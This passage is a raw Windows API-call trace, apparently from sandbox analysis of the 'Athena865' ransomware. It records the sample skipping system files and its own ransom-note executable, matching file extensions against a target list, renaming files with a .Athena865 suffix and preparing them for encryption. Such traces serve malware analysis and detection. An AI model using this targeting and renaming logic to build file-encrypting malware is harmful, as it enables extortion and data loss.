lstrlenW (lpString="vvv") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0096.418] lstrlenW (lpString="wdb") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1 [0096.418] lstrlenW (lpString="wmdb") returned 4 [0096.418] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0096.418] lstrlenW (lpString="wrk") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1 [0096.418] lstrlenW (lpString="xdb") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1 [0096.418] lstrlenW (lpString="xld") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1 [0096.418] lstrlenW (lpString="xmlff") returned 5 [0096.418] lstrcmpiW (lpString1="0.jpg", lpString2="xmlff") returned -1 [0096.418] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg.Athena865") returned 80 [0096.418] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg.athena865"), dwFlags=0x1) returned 1 [0096.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.419] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2979) returned 1 [0096.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.420] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.420] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.420] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.420] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeb0, lpName=0x0) returned 0x17c [0096.422] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeb0) returned 0x100000 [0096.423] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.424] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.424] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.425] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.425] CloseHandle (hObject=0x17c) returned 1 [0096.425] CloseHandle (hObject=0x154) returned 1 [0096.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.425] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79de7474, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79de7474, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2=".") returned 1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="..") returned 1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="windows") returned -1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="bootmgr") returned 1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="temp") returned -1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="pagefile.sys") returned -1 [0096.425] lstrcmpiW (lpString1="DMR_120.png", lpString2="boot") returned 1 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2="ids.txt") returned -1 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2="ntuser.dat") returned -1 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2="perflogs") returned -1 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2="MSBuild") returned -1 [0096.426] lstrlenW (lpString="DMR_120.png") returned 11 [0096.426] lstrcpyW (in: lpString1=0x241e8be, lpString2="DMR_120.png" | out: lpString1="DMR_120.png") returned="DMR_120.png" [0096.426] lstrlenW (lpString="DMR_120.png") returned 11 [0096.426] lstrlenW (lpString="Athena865") returned 9 [0096.426] lstrcmpiW (lpString1="R_120.png", lpString2="Athena865") returned 1 [0096.426] lstrlenW (lpString=".dll") returned 4 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2=".dll") returned 1 [0096.426] lstrlenW (lpString=".lnk") returned 4 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2=".lnk") returned 1 [0096.426] lstrlenW (lpString=".ini") returned 4 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2=".ini") returned 1 [0096.426] lstrlenW (lpString=".sys") returned 4 [0096.426] lstrcmpiW (lpString1="DMR_120.png", lpString2=".sys") returned 1 [0096.426] lstrlenW (lpString="DMR_120.png") returned 11 [0096.426] lstrlenW (lpString="bak") returned 3 [0096.426] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0096.426] lstrlenW (lpString="ba_") returned 3 [0096.426] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0096.426] lstrlenW (lpString="dbb") returned 3 [0096.426] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0096.426] lstrlenW (lpString="vmdk") returned 4 [0096.426] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0096.426] lstrlenW (lpString="rar") returned 3 [0096.426] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0096.426] lstrlenW (lpString="zip") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0096.427] lstrlenW (lpString="tgz") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0096.427] lstrlenW (lpString="vbox") returned 4 [0096.427] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0096.427] lstrlenW (lpString="vdi") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0096.427] lstrlenW (lpString="vhd") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0096.427] lstrlenW (lpString="vhdx") returned 4 [0096.427] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0096.427] lstrlenW (lpString="avhd") returned 4 [0096.427] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0096.427] lstrlenW (lpString="db") returned 2 [0096.427] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0096.427] lstrlenW (lpString="db2") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0096.427] lstrlenW (lpString="db3") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0096.427] lstrlenW (lpString="dbf") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0096.427] lstrlenW (lpString="mdf") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0096.427] lstrlenW (lpString="mdb") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0096.427] lstrlenW (lpString="sql") returned 3 [0096.427] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0096.427] lstrlenW (lpString="sqlite") returned 6 [0096.427] lstrcmpiW (lpString1="20.png", lpString2="sqlite") returned -1 [0096.427] lstrlenW (lpString="sqlite3") returned 7 [0096.427] lstrcmpiW (lpString1="120.png", lpString2="sqlite3") returned -1 [0096.427] lstrlenW (lpString="sqlitedb") returned 8 [0096.428] lstrcmpiW (lpString1="_120.png", lpString2="sqlitedb") returned -1 [0096.428] lstrlenW (lpString="xml") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0096.428] lstrlenW (lpString="$er") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0096.428] lstrlenW (lpString="4dd") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0096.428] lstrlenW (lpString="4dl") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0096.428] lstrlenW (lpString="^^^") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0096.428] lstrlenW (lpString="abs") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0096.428] lstrlenW (lpString="abx") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0096.428] lstrlenW (lpString="accdb") returned 5 [0096.428] lstrcmpiW (lpString1="0.png", lpString2="accdb") returned -1 [0096.428] lstrlenW (lpString="accdc") returned 5 [0096.428] lstrcmpiW (lpString1="0.png", lpString2="accdc") returned -1 [0096.428] lstrlenW (lpString="accde") returned 5 [0096.428] lstrcmpiW (lpString1="0.png", lpString2="accde") returned -1 [0096.428] lstrlenW (lpString="accdr") returned 5 [0096.428] lstrcmpiW (lpString1="0.png", lpString2="accdr") returned -1 [0096.428] lstrlenW (lpString="accdt") returned 5 [0096.428] lstrcmpiW (lpString1="0.png", lpString2="accdt") returned -1 [0096.428] lstrlenW (lpString="accdw") returned 5 [0096.428] lstrcmpiW (lpString1="0.png", lpString2="accdw") returned -1 [0096.428] lstrlenW (lpString="accft") returned 5 [0096.428] lstrcmpiW (lpString1="0.png", lpString2="accft") returned -1 [0096.428] lstrlenW (lpString="adb") returned 3 [0096.428] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0096.428] lstrlenW (lpString="adb") returned 3 [0096.429] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0096.429] lstrlenW (lpString="ade") returned 3 [0096.429] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0096.429] lstrlenW (lpString="adf") returned 3 [0096.429] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0096.429] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0096.429] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png.Athena865") returned 80 [0096.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png.athena865"), dwFlags=0x1) returned 1 [0096.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.430] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14876) returned 1 [0096.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.430] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.431] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.431] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.431] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d20, lpName=0x0) returned 0x17c [0096.434] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d20) returned 0x100000 [0096.436] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.436] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.436] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.437] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.437] CloseHandle (hObject=0x17c) returned 1 [0096.437] CloseHandle (hObject=0x154) returned 1 [0096.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.438] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79d9b1b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79d9b1b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="windows") returned -1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="bootmgr") returned 1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="temp") returned -1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="pagefile.sys") returned -1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="boot") returned 1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="ids.txt") returned -1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="ntuser.dat") returned -1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="perflogs") returned -1 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2="MSBuild") returned -1 [0096.438] lstrlenW (lpString="DMR_48.jpg") returned 10 [0096.438] lstrcpyW (in: lpString1=0x241e8be, lpString2="DMR_48.jpg" | out: lpString1="DMR_48.jpg") returned="DMR_48.jpg" [0096.438] lstrlenW (lpString="DMR_48.jpg") returned 10 [0096.438] lstrlenW (lpString="Athena865") returned 9 [0096.438] lstrcmpiW (lpString1="MR_48.jpg", lpString2="Athena865") returned 1 [0096.438] lstrlenW (lpString=".dll") returned 4 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".dll") returned 1 [0096.438] lstrlenW (lpString=".lnk") returned 4 [0096.438] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".lnk") returned 1 [0096.438] lstrlenW (lpString=".ini") returned 4 [0096.439] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".ini") returned 1 [0096.439] lstrlenW (lpString=".sys") returned 4 [0096.439] lstrcmpiW (lpString1="DMR_48.jpg", lpString2=".sys") returned 1 [0096.439] lstrlenW (lpString="DMR_48.jpg") returned 10 [0096.439] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg.Athena865") returned 79 [0096.439] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg.athena865"), dwFlags=0x1) returned 1 [0096.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.440] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1220) returned 1 [0096.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.441] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.441] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.441] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0x17c [0096.442] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000 [0096.443] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.444] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.444] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.444] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.445] CloseHandle (hObject=0x17c) returned 1 [0096.445] CloseHandle (hObject=0x154) returned 1 [0096.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.445] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5511151c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x5511151c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2=".") returned 1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="..") returned 1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="windows") returned -1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="bootmgr") returned 1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="temp") returned -1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="pagefile.sys") returned -1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="boot") returned 1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="ids.txt") returned -1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="ntuser.dat") returned -1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="perflogs") returned -1 [0096.445] lstrcmpiW (lpString1="DMR_48.png", lpString2="MSBuild") returned -1 [0096.445] lstrlenW (lpString="DMR_48.png") returned 10 [0096.445] lstrcpyW (in: lpString1=0x241e8be, lpString2="DMR_48.png" | out: lpString1="DMR_48.png") returned="DMR_48.png" [0096.445] lstrlenW (lpString="DMR_48.png") returned 10 [0096.445] lstrlenW (lpString="Athena865") returned 9 [0096.445] lstrcmpiW (lpString1="MR_48.png", lpString2="Athena865") returned 1 [0096.445] lstrlenW (lpString=".dll") returned 4 [0096.446] lstrcmpiW (lpString1="DMR_48.png", lpString2=".dll") returned 1 [0096.446] lstrlenW (lpString=".lnk") returned 4 [0096.446] lstrcmpiW (lpString1="DMR_48.png", lpString2=".lnk") returned 1 [0096.446] lstrlenW (lpString=".ini") returned 4 [0096.446] lstrcmpiW (lpString1="DMR_48.png", lpString2=".ini") returned 1 [0096.446] lstrlenW (lpString=".sys") returned 4 [0096.446] lstrcmpiW (lpString1="DMR_48.png", lpString2=".sys") returned 1 [0096.446] lstrlenW (lpString="DMR_48.png") returned 10 [0096.446] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png.Athena865") returned 79 [0096.446] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png.athena865"), dwFlags=0x1) returned 1 [0096.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.447] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4265) returned 1 [0096.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.447] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.448] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.448] 